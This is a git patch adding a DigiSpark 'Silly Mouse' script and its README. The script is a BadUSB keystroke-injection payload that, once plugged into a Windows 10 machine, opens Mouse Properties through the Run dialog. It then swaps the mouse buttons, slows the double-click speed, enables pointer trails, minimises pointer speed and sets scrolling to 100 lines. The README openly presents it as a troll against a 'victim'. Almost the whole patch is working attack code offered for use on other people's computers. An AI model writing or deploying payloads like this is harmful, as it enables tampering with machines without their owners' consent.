From 168147dcaa7829b1102e24d08329dbcc4d9b8cdc Mon Sep 17 00:00:00 2001 From: Tudor Velican Date: Thu, 24 Oct 2019 22:46:39 +0200 Subject: [PATCH] Add Silly_Mouse script --- Silly_Mouse/README.md | 14 ++++++ Silly_Mouse/Silly_Mouse.ino | 90 +++++++++++++++++++++++++++++++++++++ 2 files changed, 104 insertions(+) create mode 100644 Silly_Mouse/README.md create mode 100644 Silly_Mouse/Silly_Mouse.ino diff --git a/Silly_Mouse/README.md b/Silly_Mouse/README.md new file mode 100644 index 0000000..9d4a97d --- /dev/null +++ b/Silly_Mouse/README.md @@ -0,0 +1,14 @@ +# Silly Mouse script +Why? Because why not? This is the ultimate troll that messes with your victim's mouse settings to unbearable levels. +Inspired by Caleb Hutchinson's Silly Mouse Ducky Payload from hak5darren/USB-Rubber-Ducky, ported to Windows 10 and made better. + +# This script does the following: +1. Opens Mouse Properties +2. Switches primary and secondary buttons +3. Changes double-click speed to slow +4. Displays pointer trails +5. Decreases pointer speed to lowest possible setting +6. Increases Vertical Scroll increment to 100 lines + +# Credits +- Vel1khaN \ No newline at end of file diff --git a/Silly_Mouse/Silly_Mouse.ino b/Silly_Mouse/Silly_Mouse.ino new file mode 100644 index 0000000..75fd18a --- /dev/null +++ b/Silly_Mouse/Silly_Mouse.ino @@ -0,0 +1,90 @@ +//This DigiSpark script messes with your target's mouse settings to annoying levels +//Tested on Windows 10 with English(US) keyboard layout +//Created by Vel1khan + +#include "DigiKeyboard.h" +void setup() { + #define KEY_TAB 43 + #define KEY_ARROW_RIGHT 0x4F +} + +void loop() { + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); + DigiKeyboard.delay(500); + DigiKeyboard.print("main.cpl"); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_SPACE); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_TAB); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_TAB); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_TAB); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_TAB); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_TAB); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_SPACE); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_TAB); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_SPACE); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_TAB); + DigiKeyboard.delay(500); + DigiKeyboard.print("100"); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + for(;;){ /*empty*/ } +}